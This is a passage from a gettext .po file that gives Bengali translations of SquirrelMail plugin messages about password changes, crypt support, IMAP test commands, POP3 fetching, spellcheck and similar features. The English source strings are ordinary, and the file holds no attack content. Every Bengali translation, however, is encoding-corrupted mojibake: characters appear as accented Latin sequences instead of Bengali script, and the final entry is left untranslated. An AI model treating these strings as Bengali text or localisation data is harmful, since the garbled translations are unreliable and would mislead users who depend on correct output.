msgstr "āϏāĻŋāĻ¸ā§āĻŸā§‡āĻŽ āĻ•ā§āϰāĻŋāĻĒā§āϟ āϞāĻžāχāĻŦā§āϰ⧇āϰ⧀ āĻŦāĻ°ā§āϧāĻŋāϤ DES āĻ•ā§āϰāĻŋāĻĒā§āϟ āϏāĻŽāĻ°ā§āĻĨāύ āĻ•āϰ⧇ āύāĻžāĨ¤"

msgid "System crypt library doesn't have Blowfish support."
msgstr "āϏāĻŋāĻ¸ā§āĻŸā§‡āĻŽ āĻ•ā§āϰāĻŋāĻĒā§āϟ āϞāĻžāχāĻŦā§āϰ⧇āϰ⧀ āĻŦā§āϞ⧋āĻĢāĻŋāϏ āĻ•ā§āϰāĻŋāĻĒā§āϟ āϏāĻŽāĻ°ā§āĻĨāύ āĻ•āϰ⧇ āύāĻžāĨ¤"

msgid "unknown"
msgstr "āĻ…āϜāĻžāύāĻž"

msgid "Unable to validate user's password."
msgstr "āĻŦā§āϝāĻŦāĻšāĻžāϰāĻ•āĻžāϰ⧀āϰ āĻĒāĻžāϏāĻ“ā§ŸāĻžāĻ°ā§āĻĄ āĻŦ⧈āϧ āĻ•āϰāϤ⧇ āĻŦā§āϝāĻ°ā§āĻĨāĨ¤"

msgid "Blowfish is not supported by webserver's system crypt library."
msgstr "āĻ“ā§Ÿā§‡āĻŦāϏāĻžāĻ°ā§āĻ­āĻžāϰ⧇āϰ āϏāĻŋāĻ¸ā§āĻŸā§‡āĻŽ āĻ•ā§āϰāĻŋāĻĒā§āϟ āϞāĻžāχāĻŦā§āϰ⧇āϰ⧀ āĻŦā§āϞ⧋āĻĢāĻŋāϏ āĻ•ā§āϰāĻŋāĻĒā§āϟ āϏāĻŽāĻ°ā§āĻĨāύ āĻ•āϰ⧇ āύāĻžāĨ¤"

msgid "MD5 is not supported by webserver's system crypt library."
msgstr "āĻ“ā§Ÿā§‡āĻŦāϏāĻžāĻ°ā§āĻ­āĻžāϰ⧇āϰ āϏāĻŋāĻ¸ā§āĻŸā§‡āĻŽ āĻ•ā§āϰāĻŋāĻĒā§āϟ āϞāĻžāχāĻŦā§āϰ⧇āϰ⧀ MD5 āϏāĻŽāĻ°ā§āĻĨāύ āĻ•āϰ⧇ āύāĻžāĨ¤"

msgid ""
"Extended DES crypt is not supported by webserver's system crypt library."
msgstr "āĻ“ā§Ÿā§‡āĻŦāϏāĻžāĻ°ā§āĻ­āĻžāϰ⧇āϰ āϏāĻŋāĻ¸ā§āĻŸā§‡āĻŽ āĻ•ā§āϰāĻŋāĻĒā§āϟ āϞāĻžāχāĻŦā§āϰ⧇āϰ⧀ āĻŦāĻ°ā§āϧāĻŋāϤ DES āĻ•ā§āϰāĻŋāĻĒā§āϟ āϏāĻŽāĻ°ā§āĻĨāύ āĻ•āϰ⧇ āύāĻžāĨ¤"

msgid ""
"Standard DES crypt is not supported by webserver's system crypt library."
msgstr "āĻ“ā§Ÿā§‡āĻŦāϏāĻžāĻ°ā§āĻ­āĻžāϰ⧇āϰ āϏāĻŋāĻ¸ā§āĻŸā§‡āĻŽ āĻ•ā§āϰāĻŋāĻĒā§āϟ āϞāĻžāχāĻŦā§āϰ⧇āϰ⧀ āφāĻĻāĻ°ā§āĻļ DES āĻ•ā§āϰāĻŋāĻĒā§āϟ āϏāĻŽāĻ°ā§āĻĨāύ āĻ•āϰ⧇ āύāĻžāĨ¤"

msgid "PHP Curl extension is NOT available! Unable to change password!"
msgstr "āĻĒāĻŋāĻāχāϚāĻĒāĻŋ āĻ•āĻžāĻ°ā§āϞ āĻŦāĻ°ā§āϧāĻŋāϤāĻžāĻ‚āĻļ āĻĒā§āϰāĻžāĻĒā§āϤāĻŋāϏāĻžāĻ§ā§āϝ āύ⧟! āĻĒāĻžāϏāĻ“ā§ŸāĻžāĻ°ā§āĻĄ āĻĒāϰāĻŋāĻŦāĻ°ā§āϤāύ⧇ āĻ…āĻ•ā§āώāĻŽ!"

msgid "Cannot change password! (Is user 'Self Configurable User' ?) (401)"
msgstr ""
"āĻĒāĻžāϏāĻ“ā§ŸāĻžāĻ°ā§āĻĄ āĻĒāϰāĻŋāĻŦāĻ°ā§āϤāύ āĻ•āϰāϤ⧇ āĻĒāĻžāϰ⧇āύāĻž! (āĻŦā§āϝāĻŦāĻšāĻžāϰāĻ•āĻžāϰ⧀ āĻ•āĻŋ 'āύāĻŋāĻœā§‡ āĻ•āύāĻĢāĻŋāĻ—āĻžāϰ āĻ•āϰāϤ⧇ āϏāĻ•ā§āώāĻŽ' ?) "
"(ā§Ēā§Ļā§§)"

msgid "Cannot change password!"
msgstr "āĻĒāĻžāϏāĻ“ā§ŸāĻžāĻ°ā§āĻĄ āĻĒāϰāĻŋāĻŦāĻ°ā§āϤāύ āĻ•āϰāϤ⧇ āĻĒāĻžāϰ⧇ āύāĻž!"

msgid "Cannot connect to Database Server, please try later!"
msgstr "āωāĻĒāĻžāĻ¤ā§āϤ āĻ­āĻžāĻ¨ā§āĻĄāĻžāϰ āϏāĻžāĻ°ā§āĻ­āĻžāϰ⧇ āϝ⧋āĻ—āĻžāϝ⧋āĻ— āĻ•āϰāϤ⧇ āĻĒāĻžāϰ⧇āύāĻž, āĻ…āύ⧁āĻ—ā§āϰāĻš āĻ•āϰ⧇ āφāĻŦāĻžāϰ āĻšā§‡āĻ¸ā§āϟāĻž āĻ•āϰ⧁āύ!"

msgid "Database not found on server"
msgstr "āϏāĻžāĻ°ā§āĻ­āĻžāϰ⧇ āωāĻĒāĻžāĻ¤ā§āϤ āĻ­āĻžāĻ¨ā§āĻĄāĻžāϰ āĻĒāĻžāĻ“ā§ŸāĻž āϝāĻžā§ŸāύāĻŋ"

msgid "SQL call failed, try again later."
msgstr "SQL āφāĻŽāĻ¨ā§āĻ¤ā§āϰāύ āĻŦā§āϝāĻ°ā§āĻĨ, āĻĒāϰāĻŦāĻ°ā§āϤ⧀āϤ⧇ āφāĻŦāĻžāϰ āĻšā§‡āĻ¸ā§āϟāĻž āĻ•āϰ⧁āύāĨ¤"

msgid "Duplicate login entries detected, cannot change password!"
msgstr "āĻ…āύ⧁āϰ⧂āĻĒ āϞāĻ—āĻŋāύ āĻāĻ¨ā§āĻŸā§āϰāĻŋ āĻĒāĻžāĻ“ā§ŸāĻž āϗ⧇āϛ⧇, āĻĒāĻžāϏāĻ“ā§ŸāĻžāĻ°ā§āĻĄ āĻĒāϰāĻŋāĻŦāĻ°ā§āϤāύ āĻ•āϰāϤ⧇ āĻĒāĻžāϰ⧇āύāĻŋ!"

msgid "Password change was not successful!"
msgstr "āĻĒāĻžāϏāĻ“ā§ŸāĻžāĻ°ā§āĻĄ āĻĒāϰāĻŋāĻŦāĻ°ā§āϤāύ āϏāĻĢāϞ āĻšā§ŸāύāĻŋ!"

msgid ""
"Plugin is unable to use PHP Pear DB libraries. PHP Pear includes must be "
"available in your PHP include_path setting."
msgstr ""
"āĻĒā§āϞāĻžāĻ—āĻŋāύāϟāĻŋ āĻĒāĻŋāĻāχāϚāĻĒāĻŋ Pear DB āϞāĻžāχāĻŦā§āϰ⧇āϰ⧀ āĻŦā§āϝāĻŦāĻšāĻžāϰ⧇ āĻ…āĻ•ā§āώāĻŽāĨ¤ āφāĻĒāύāĻžāϰ āĻĒāĻŋāĻāχāϚāĻĒāĻŋ āϏāĻ‚āϝ⧁āĻ•ā§āϤ_āĻĒāĻĨ "
"āĻŽāĻžāύāϏāĻŽā§‚āĻšā§‡ āĻĒāĻŋāĻāχāϚāĻĒāĻŋ Pear āϏāĻ‚āϝ⧁āĻ•ā§āϤāĻŋ āĻ…āĻŦāĻļā§āϝāχ āĻĒā§āϰāĻžāĻĒā§āϤāĻŋāϏāĻžāĻ§ā§āϝ āĻšāϤ⧇ āĻšāĻŦ⧇āĨ¤"

msgid "Required change password backend configuration options are missing."
msgstr "āĻĒā§āĻ°ā§Ÿā§‹āϜāĻ¨ā§€ā§Ÿ āĻĒāĻžāϏāĻ“ā§ŸāĻžāĻ°ā§āĻĄ āĻĒāϰāĻŋāĻŦāĻ°ā§āϤāύ āĻŦā§āϝāĻžāĻ•āĻāĻ¨ā§āĻĄ āĻŦāĻŋāĻ¨ā§āϝāĻžāϏāύ āĻĒāĻ›āĻ¨ā§āĻĻ āĻĒāĻžāĻ“ā§ŸāĻž āϝāĻžāĻšā§āϛ⧇ āύāĻžāĨ¤"

#, php-format
msgid "Connection error: %s"
msgstr "āϏāĻ‚āϝ⧋āϗ⧇ āĻ¤ā§āϰ⧁āϟāĻŋ: %s"

#, php-format
msgid "Invalid table name: %s"
msgstr "āĻ…āĻŦ⧈āϧ āϏāĻžāϰāύ⧀ āύāĻžāĻŽ: %s"

msgid "User table is empty."
msgstr "āĻŦā§āϝāĻŦāĻšāĻžāϰāĻ•āĻžāϰ⧀āϰ āϏāĻžāϰāύ⧀ āĻ–āĻžāϞāĻŋāĨ¤"

msgid "Invalid uid field."
msgstr "āĻ…āĻŦ⧈āϧ uid āĻ•ā§āώ⧇āĻ¤ā§āϰāĨ¤"

msgid "Invalid password field"
msgstr "āĻ…āĻŦ⧈āϧ āĻĒāĻžāϏāĻ“ā§ŸāĻžāĻ°ā§āĻĄ āĻ•ā§āώ⧇āĻ¤ā§āϰ"

msgid "Invalid domain field"
msgstr "āĻ…āĻŦ⧈āϧ āĻĄā§‹āĻŽā§‡āχāύ āĻ•ā§āώ⧇āĻ¤ā§āϰ"

#, php-format
msgid "Query failed: %s"
msgstr "āϜāĻŋāĻœā§āĻžāĻžāϏāĻž āĻŦā§āϝāĻ°ā§āĻĨ: %s"

msgid "Unable to find user in user table."
msgstr "āĻŦā§āϝāĻŦāĻšāĻžāϰāĻ•āĻžāϰ⧀āϰ āϏāĻžāϰāĻŖā§€āϤ⧇ āĻŦā§āϝāĻŦāĻšāĻžāϰāĻ•āĻžāϰ⧀āϕ⧇ āϖ⧁āρāĻœā§‡ āĻĒāĻžāĻ“ā§ŸāĻž āϝāĻžāĻšā§āϛ⧇ āύāĻžāĨ¤"

msgid "Too many matches found in user table."
msgstr "āĻŦā§āϝāĻŦāĻšāĻžāϰāĻ•āĻžāϰ⧀ āϏāĻžāϰāĻŖā§€āϤ⧇ āĻ…āύ⧇āĻ• āĻŦ⧇āĻļā§€ āĻŽāĻŋāϞ āĻĒāĻžāĻ“ā§ŸāĻž āϗ⧇āϛ⧇āĨ¤"

msgid "Unable to detect password crypto algorithm."
msgstr "āĻĒāĻžāϏāĻ“ā§ŸāĻžāĻ°ā§āĻĄ āĻ•ā§āϰāĻŋāĻĒāĻŸā§‹ āĻāϞāĻ—ā§‹āϰāĻŋāĻĻāĻŽ āϧāϰāϤ⧇ āĻĒāĻžāϰāϛ⧇ āύāĻžāĨ¤"

msgid "Unable to encrypt new password."
msgstr "āύāϤ⧁āύ āĻĒāĻžāϏāĻ“ā§ŸāĻžāĻ°ā§āĻĄ āĻāύāĻ•ā§āϰāĻŋāĻĒā§āϟ āĻ•āϰāϤ⧇ āĻĒāĻžāϰāϛ⧇ āύāĻžāĨ¤"

#, php-format
msgid "Unable to set new password: %s"
msgstr "āύāϤ⧁āύ āĻĒāĻžāϏāĻ“ā§ŸāĻžāĻ°ā§āĻĄ āύāĻŋāϝ⧁āĻ•ā§āϤ āĻ•āϰāϤ⧇ āĻĒāĻžāϰāϛ⧇ āύāĻž: %s"

msgid "Unable to use digest-md5 crypto."
msgstr "āĻĄāĻžāχāĻœā§‡āĻ¸ā§āϟ-md5 āĻ•ā§āϰāĻŋāĻĒāĻŸā§‹ āĻŦā§āϝāĻŦāĻšāĻžāϰ⧇ āĻ…āĻ•ā§āώāĻŽāĨ¤"

msgid "Closing Connection"
msgstr "āϝ⧋āĻ—āĻžāϝ⧋āĻ— āĻŦāĻ¨ā§āϧ āĻ•āϰāϛ⧇"

msgid "Connecting to Password Server"
msgstr "āĻĒāĻžāϏāĻ“ā§ŸāĻžāĻ°ā§āĻĄ āϏāĻžāĻ°ā§āĻ­āĻžāϰ⧇ āϝ⧋āĻ—āĻžāϝ⧋āĻ— āĻ•āϰāϛ⧇"

msgid "No valid backend defined."
msgstr "āϕ⧋āύ āĻŦ⧈āϧ āĻŦā§āϝāĻžāĻ•āĻāĻ¨ā§āĻĄ āωāĻ˛ā§āϞ⧇āĻ– āĻ•āϰāĻž āύ⧇āχāĨ¤"

msgid "Incorrent path to vmail.inc file."
msgstr "vmail.inc āĻĢāĻžāχāϞ⧇ āĻŦ⧇āĻ āĻŋāĻ• āĻĒāĻĨāĨ¤"

msgid "Invalid or corrupted vmail.inc file."
msgstr "āĻ…āĻŦ⧈āϧ āĻŦāĻž āύāĻ¸ā§āϟ vmail.inc āĻĢāĻžāχāϞāĨ¤"

msgid "Invalid user."
msgstr "āĻ…āĻŦ⧈āϧ āĻŦā§āϝāĻŦāĻšāĻžāϰāĻ•āĻžāϰ⧀āĨ¤"

msgid "Empty domain"
msgstr "āĻ–āĻžāϞāĻŋ āĻĄā§‹āĻŽā§‡āχāύ"

msgid "Empty domain password"
msgstr "āĻ–āĻžāϞāĻŋ āĻĄā§‹āĻŽā§‡āχāύ āĻĒāĻžāϏāĻ“ā§ŸāĻžāĻ°ā§āĻĄ"

msgid "Empty username"
msgstr "āĻ–āĻžāϞāĻŋ āĻŦā§āϝāĻŦāĻšāĻžāϰāĻ•āĻžāϰ⧀āϰ āĻŦāĻž āĻŦā§āϝāĻŦāĻšāĻ°ā§āϤāĻžāϰ āύāĻžāĻŽ"

msgid "Empty new password"
msgstr "āĻ–āĻžāϞāĻŋ āύāϤ⧁āύ āĻĒāĻžāϏāĻ“ā§ŸāĻžāĻ°ā§āĻĄ"

#, php-format
msgid "Unable to execute \"%s\"."
msgstr "\"%s\" āϚāĻžāϞāĻžāϤ⧇ āĻ…āĻ•ā§āώāĻŽāĨ¤"

msgid "Fortunes:"
msgstr "āĻĻ⧈āĻŦāĻŦāĻžāĻŖā§€:"

msgid "Server Capability response:"
msgstr "āϏāĻžāĻ°ā§āĻ­āĻžāϰ āĻ•ā§āώāĻŽāϤāĻž āĻĒā§āϰāϤāĻŋāĻ•ā§āϰāĻŋ⧟āĻž:"

msgid ""
"Select the IMAP commands you would like to run. Most commands require a "
"selected mailbox so the select command is already setup. You can clear all "
"the commands and test your own IMAP command strings. The commands are "
"executed in order. The default values are simple IMAP commands using your "
"default_charset and folder_prefix from SquirrelMail when needed."
msgstr ""
"āϝ⧇ āφāχāĻŽā§āϝāĻžāĻĒ āφāĻĻ⧇āĻļāϏāĻŽā§‚āĻš āφāĻĒāύāĻŋ āϚāĻžāϞāĻžāϤ⧇ āϚāĻžāύ āϤāĻž āύāĻŋāĻ°ā§āĻŦāĻžāϚāύ āĻ•āϰ⧁āύāĨ¤ āĻ…āϧāĻŋāĻ•āĻžāĻ‚āĻļ āφāĻĻ⧇āĻļ⧇āϰ āĻāĻŽāύ āĻāĻ•āϟāĻŋ "
"āύāĻŋāĻ°ā§āĻŦāĻžāϚāĻŋāϤ āϚāĻŋāĻ āĻŋāϰāĻŦāĻžāĻ•ā§āϏ āĻĻāϰāĻ•āĻžāϰ āϝ⧇āĻ–āĻžāύ⧇ āύāĻŋāĻ°ā§āĻŦāĻžāϚāĻŋāϤ āĻ•āĻŽāĻžāĻ¨ā§āĻĄāϟāĻŋ āφāϗ⧇ āĻĨ⧇āϕ⧇āχ āϏ⧇āϟāĻžāφāĻĒāĻ•ā§ƒāϤāĨ¤ āφāĻĒāύāĻŋ āϏāĻŦ "
"āφāĻžāĻĻ⧇ āĻŽā§āϛ⧇ āĻĻāĻŋāϤ⧇ āĻĒāĻžāϰ⧇āύ āĻāĻŦāĻ‚ āφāĻĒāύāĻžāϰ āύāĻŋāϜāĻ¸ā§āĻŦ āφāχāĻŽā§āϝāĻžāĻĒ āĻ•āĻŽāĻžāĻ¨ā§āĻĄ āĻĒāϰ⧀āĻ•ā§āώāĻž āĻ•āϰāϤ⧇ āĻĒāĻžāϰ⧇āύāĨ¤ āĻ•āĻŽāĻžāĻ¨ā§āĻĄāϗ⧁āϞ⧋ "
"āĻāĻ•āϟāĻŋ āĻ•ā§āϰāĻŽā§‡ āϚāϞ⧇āĨ¤ āĻĒā§‚āĻ°ā§āĻŦāύāĻŋāĻ°ā§āϧāĻžāϰāĻŋāϤ āĻŽāĻžāύāϗ⧁āϞ⧋ āϏāĻšāϜ āφāχāĻŽā§āϝāĻžāĻĒ āĻ•āĻŽāĻžāĻ¨ā§āĻĄ āϝ⧇āϗ⧁āϞ⧋ āĻĒā§āĻ°ā§Ÿā§‹āϜāύāĻŽāϤ "
"SquirrelMail āĻšāϤ⧇ āφāĻĒāύāĻžāϰ āĻĒā§‚āĻ°ā§āĻŦāύāĻŋāĻ°ā§āϧāĻžāϰāĻŋāϤ_āĻ…āĻ•ā§āώāϰ⧇āϰ āϏ⧇āϟ āĻāĻŦāĻ‚ āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰ _āĻĒā§‚āĻ°ā§āĻŦāĻĒāĻĻ āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰāϛ⧇āĨ¤"

msgid ""
"NOTE: These commands are live, any changes made will effect your current "
"email account."
msgstr ""
"āύ⧋āϟ: āĻāχ āĻ•āĻŽāĻžāĻ¨ā§āĻĄāϗ⧁āϞ⧋ āϏāϰāĻžāϏāϰāĻŋ, āϝ⧋āϕ⧋āύ āĻĒāϰāĻŋāĻŦāĻ°ā§āϤāύ āφāĻĒāύāĻžāϰ āχāĻŽā§‡āχāϞ āĻāĻ•āĻžāωāĻ¨ā§āĻŸā§‡ āĻĒā§āϰāĻ­āĻžāĻŦ āĻĢ⧇āϞāĻŦ⧇āĨ¤"

msgid "Select"
msgstr "āύāĻŋāĻ°ā§āĻŦāĻžāϚāύ āĻ•āϰ⧁āύ"

msgid "Test Name"
msgstr "āĻĒāϰ⧀āĻ•ā§āώāĻž āύāĻžāĻŽ"

msgid "IMAP command string"
msgstr "āφāχāĻŽā§āϝāĻžāĻĒ āĻ•āĻŽāĻžāĻ¨ā§āĻĄ āĻĒāĻ‚āĻ•ā§āϤāĻŋ"

msgid "Request:"
msgstr "āĻ…āύ⧁āϰ⧋āϧ:"

msgid "Execution time:"
msgstr "āϚāĻžāϞāĻžāύ⧋āϰ āϏāĻŽā§Ÿ:"

#, php-format
msgid "%s ms"
msgstr "%s ms"

msgid "Mailing Lists"
msgstr "āϚāĻŋāĻ āĻŋ āĻĒāĻžāĻ āĻžāĻŦāĻžāϰ āϤāĻžāϞāĻŋāĻ•āĻž"

msgid ""
"Manage the (non-RFC-compliant) mailing lists that you are subscribed to for "
"the purpose of providing one-click list replies when responding to list "
"messages."
msgstr ""
"āĻŦāĻžāĻ°ā§āϤāĻž āĻĒāĻžāĻ āĻžāĻŦāĻžāϰ āϤāĻžāϞāĻŋāĻ•āĻžāϟāĻŋ āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻžāĻĒāύāĻž āĻ•āϰ⧁āύ (RFC āϏāĻŽā§āĻŽāϤ āύ⧟) āϝ⧇āϟāĻŋāϕ⧇ āφāĻĒāύāĻŋ āĻāĻ•āϟāĻŋ āĻŽāĻžāĻ¤ā§āϰ "
"āĻ•ā§āϞāĻŋāϕ⧇āϰ āĻŽāĻžāĻ§ā§āϝāĻŽā§‡ āϤāĻžāϞāĻŋāĻ•āĻžāĻŦāĻĻā§āϧ āĻŦāĻžāĻ°ā§āϤāĻžāϰ āϤāĻžāϞāĻŋāĻ•āĻžā§Ÿ āωāĻ¤ā§āϤāϰ āĻĒāĻžāĻ āĻžāϤ⧇ āĻĒāĻžāϰ⧇āύāĨ¤"

msgid "No POP3 servers configured yet."
msgstr "āϕ⧋āύ POP3 āϏāĻžāĻ°ā§āĻ­āĻžāϰ āĻāĻ–āύāĻ“ āĻŦāĻŋāĻ¨ā§āϝāĻžāϏ āĻ•āϰāĻž āĻšā§ŸāύāĻŋāĨ¤"

msgid "Click here to go to the options page."
msgstr "āĻĒāĻ›āĻ¨ā§āĻĻ āĻĒ⧃āĻˇā§āĻ āĻžā§Ÿ āϝ⧇āϤ⧇ āĻāĻ–āĻžāύ⧇ āĻ•ā§āϞāĻŋāĻ• āĻ•āϰ⧁āύāĨ¤"

#, php-format
msgid "Fetching from %s"
msgstr "%s āĻāĻ–āĻžāύ āĻĨ⧇āϕ⧇ āϚāĻŋāĻ āĻŋ āφāύāĻž āĻšāĻšā§āϛ⧇"

msgid "Can't get mailbox status:"
msgstr "āϚāĻŋāĻ āĻŋāϰ āĻŦāĻžāĻ•ā§āϏ⧇āϰ āĻ…āĻŦāĻ¸ā§āĻĨāĻž āĻĒāĻžāĻ“ā§ŸāĻž āϝāĻžāĻšā§āϛ⧇ āύāĻž:"

msgid "Fetching list of messages..."
msgstr "āĻŦāĻžāĻ°ā§āϤāĻž āĻ—ā§āϰāĻšāύ āĻ•āϰāĻžāϰ āϤāĻžāϞāĻŋāĻ•āĻž..."

#, php-format
msgid "Login OK: Inbox contains %s message"
msgid_plural "Login OK: Inbox contains %s messages"
msgstr[0] "āϞāĻ—āχāύ āĻšā§Ÿā§‡āϛ⧇: āφāĻ—āϤ āĻŦāĻžāĻ•ā§āϏ %s āĻŦāĻžāĻ°ā§āϤāĻž āϧāĻžāϰāύ āĻ•āϰ⧇"
msgstr[1] "āϞāĻ—āĻŋāύ āĻšā§Ÿā§‡āϛ⧇: āφāĻ—āϤ āĻŦāĻžāĻ•ā§āϏ %s āϗ⧁āϞ⧋ āĻŦāĻžāĻ°ā§āϤāĻž āϧāĻžāϰāύ āĻ•āϰ⧇"

#, php-format
msgid "Fetching message %s."
msgstr "%s āĻŦāĻžāĻ°ā§āϤāĻž āĻ—ā§āϰāĻšāύ āĻ•āϰāĻž āĻšāĻšā§āϛ⧇āĨ¤"

msgid "Warning:"
msgstr "āϏāϤāĻ°ā§āĻ•āĻŦāĻžāĻŖā§€:"

msgid "Authentication type:"
msgstr "āĻĒā§āϰāĻŽāĻžāĻŖā§€āĻ•āϰāĻŖ āϧāϰāĻŖ:"

msgid "USER"
msgstr "āĻŦā§āϝāĻŦāĻšāĻžāϰāĻ•āĻžāϰ⧀"

msgid "APOP"
msgstr "APOP"

msgid "APOP or USER"
msgstr "APOP āĻŦāĻž āĻŦā§āϝāĻŦāĻšāĻžāϰāĻ•āĻžāϰ⧀"

msgid "Connection type:"
msgstr "āϝ⧋āĻ—āĻžāϝ⧋āϗ⧇āϰ āϧāϰāĻŖ:"

msgid "Plain text"
msgstr "āϏ⧁āĻŦā§‹āĻ§ā§āϝ āĻĒāĻžāĻ ā§āϝ"

msgid "Use TLS"
msgstr "TLS āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰ⧁āύ"

msgid "Use StartTLS"
msgstr "StartTLS āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰ⧁āύ"

msgid ""
"The NewMail plugin will follow the Folder Preferences option &quot;Enable "
"Unread Message Notification&quot;"
msgstr ""
"āύāϤ⧁āύāϚāĻŋāĻ āĻŋ āĻĒā§āϞāĻžāĻ—āĻŋāχāύāϟāĻŋ āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰ āĻĒāĻ›āĻ¨ā§āĻĻ⧇āϰ āĻ…āĻĒāĻļāύ āĻ…āύ⧁āϏāϰāĻŖ āĻ•āϰāĻŦ⧇  &quot;āĻ…āĻĒāĻ āĻŋāϤ āĻŦāĻžāĻ°ā§āϤāĻž āĻŦāĻŋāĻœā§āĻžāĻĒā§āϤāĻŋ "
"āϏāĻ•ā§āϰāĻŋ⧟ āĻ•āϰ⧁āύ&quot;"

msgid "Follow folder preferences"
msgstr "āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰ āĻĒāĻ›āĻ¨ā§āĻĻāϗ⧁āϞ⧋ āĻ…āύ⧁āϏāϰāĻŖ āĻ•āϰ⧁āύ"

msgid "All folders"
msgstr "āϏāĻŦ āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰ"

msgid "Special folders"
msgstr "āĻŦāĻŋāĻļ⧇āώ āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰāϗ⧁āϞ⧋"

msgid "Regular folders"
msgstr "āϏ⧁āϏāĻ‚āĻŦāĻĻā§āϧ āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰāϗ⧁āϞ⧋"

msgid "Check for new messages in:"
msgstr "āϤ⧇ āύāϤ⧁āύ āĻŦāĻžāĻ°ā§āϤāĻžāϰ āϜāĻ¨ā§āϝ āĻĒāϰ⧀āĻ•ā§āώāĻž:"

msgid "uploaded media file"
msgstr "āĻŽāĻŋāĻĄāĻŋ⧟āĻž āĻĢāĻžāχāϞ āφāĻĒāϞ⧋āĻĄ āĻ•āϰāĻž āĻšā§Ÿā§‡āϛ⧇"

msgid "none"
msgstr "āĻāĻ•āϟāĻŋāĻ“ āύāĻž"

msgid "Upload Media File:"
msgstr "āĻŽāĻŋāĻĄāĻŋ⧟āĻž āĻĢāĻžāχāϞ āφāĻĒāϞ⧋āĻĄ āĻ•āϰ⧁āύ:"

msgid "Uploaded Media File:"
msgstr "āφāĻĒāϞ⧋āĻĄāĻ•ā§ƒāϤ āĻŽāĻŋāĻĄāĻŋ⧟āĻž āĻĢāĻžāχāϞ:"

#, php-format
msgid "Media file %s will be removed, if you upload other media file."
msgstr "āĻŽāĻŋāĻĄāĻŋ⧟āĻž āĻĢāĻžāχāϞ %s āĻŽā§āϛ⧇ āϝāĻžāĻŦ⧇, āϝāĻĻāĻŋ āφāĻĒāύāĻŋ āĻ…āĻ¨ā§āϝ āĻŽāĻŋāĻĄāĻŋ⧟āĻž āĻĢāĻžāχāϞ āφāĻĒāϞ⧋āĻĄ āĻ•āϰ⧇āύāĨ¤"

#, php-format
msgid "%s notice:"
msgstr "%s āĻŦāĻŋāĻœā§āĻžāĻĒā§āϤāĻŋ:"

msgid "Warning"
msgstr "āϏāϤāĻ°ā§āĻ•āĻŦāĻžāĻŖā§€"

msgid "There are some restrictions in Sent Subfolder options."
msgstr "āωāĻĒāĻĢā§‹āĻ˛ā§āĻĄāĻžāϰ āĻĒāĻžāĻ āĻžāύ⧋āϰ āĻĒāĻ›āĻ¨ā§āĻĻ⧇ āĻ•āĻŋāϛ⧁ āĻŦāĻŋāϧāĻŋāύāĻŋāώ⧇āϧ āφāϛ⧇āĨ¤"

msgid "Sent Subfolders plugin is misconfigured."
msgstr "āĻĒāĻžāĻ āĻžāύ⧋ āωāĻĒāĻĢā§‹āĻ˛ā§āĻĄāĻžāϰāϗ⧁āϞ⧋āϰ āĻĒā§āϞāĻžāĻ—āχāύ āĻ­ā§‚āϞāĻ­āĻžāĻŦ⧇ āĻŦāĻŋāĻ¨ā§āϝāĻžāϏ āĻ•āϰāĻž āĻšā§Ÿā§‡āϛ⧇āĨ¤"

msgid "Save emails submitted to SpamCop:"
msgstr "SpamCop āĻ āĻĒāĻžāĻ āĻžāύ⧋ āχāĻŽā§‡āχāϞāϗ⧁āϞ⧋ āϏāĻ‚āϰāĻ•ā§āώāύ āĻ•āϰ⧁āύ:"

msgid "SpamCop reporting"
msgstr "SpamCop āĻĒā§āϰāϤāĻŋāĻŦ⧇āĻĻāύ āĻ•āϰāϛ⧇"

#, php-format
msgid ""
"Your %s dictionary is encrypted with password that differs from your current "
"password."
msgstr ""
"āφāĻĒāύāĻžāϰ %s āĻ…āĻ­āĻŋāϧāĻžāύ āĻāχ āĻĒāĻžāϏāĻ“ā§ŸāĻžāĻ°ā§āĻĄ āĻĻā§āĻŦāĻžāϰāĻž āĻāύāĻ•ā§ƒāĻĒā§āϟāĻ•ā§ƒāϤ āϝ⧇āϟāĻŋ āφāĻĒāύāĻžāϰ āĻŦāĻ°ā§āϤāĻŽāĻžāύ āĻĒāĻžāϏāĻ“ā§ŸāĻžāĻ°ā§āĻĄ āĻĨ⧇āϕ⧇ "
"āφāϞāĻžāĻĻāĻžāĨ¤"

msgid "Invalid SquirrelSpell module."
msgstr "āĻ…āĻŦ⧈āϧ SquirrelSpell āĻŽāĻĄāĻŋāωāϞāĨ¤"

msgid "Unknown error"
msgstr "āĻ…āĻœā§āĻžāĻžāϤ āĻ¤ā§āϰ⧁āϟāĻŋ"

msgid "SquirrelSpell error."
msgstr "SquirrelSpell āĻ¤ā§āϰ⧁āϟāĻŋ:"

#, php-format
msgid "Found %d error"
msgid_plural "Found %d errors"
msgstr[0] "%d āϟāĻŋ āϭ⧁āϞ āĻĒāĻžāĻ“ā§ŸāĻž āϗ⧇āϛ⧇"
msgstr[1] "%d āϗ⧁āϞ⧋ āϭ⧁āϞ āĻĒāĻžāĻ“ā§ŸāĻž āϗ⧇āϛ⧇"

#, php-format
msgid "Using %s dictionary for spellcheck."
msgstr "āĻŦāĻžāύāĻžāύ āĻĒāϰ⧀āĻ•ā§āώāĻžāϰ āϜāĻ¨ā§āϝ %s āĻ…āĻ­āĻŋāϧāĻžāύ āĻŦā§āϝāĻŦāĻšā§ƒāϤ āĻšāĻšā§āϛ⧇āĨ¤"

msgid "Translation Theme:"
msgstr "āĻ…āύ⧁āĻŦāĻžāĻĻ āĻĨā§€āĻŽ:"

msgid ""
"Selected translation engine is disabled. Please update your translation "
"preferences."
msgstr ""
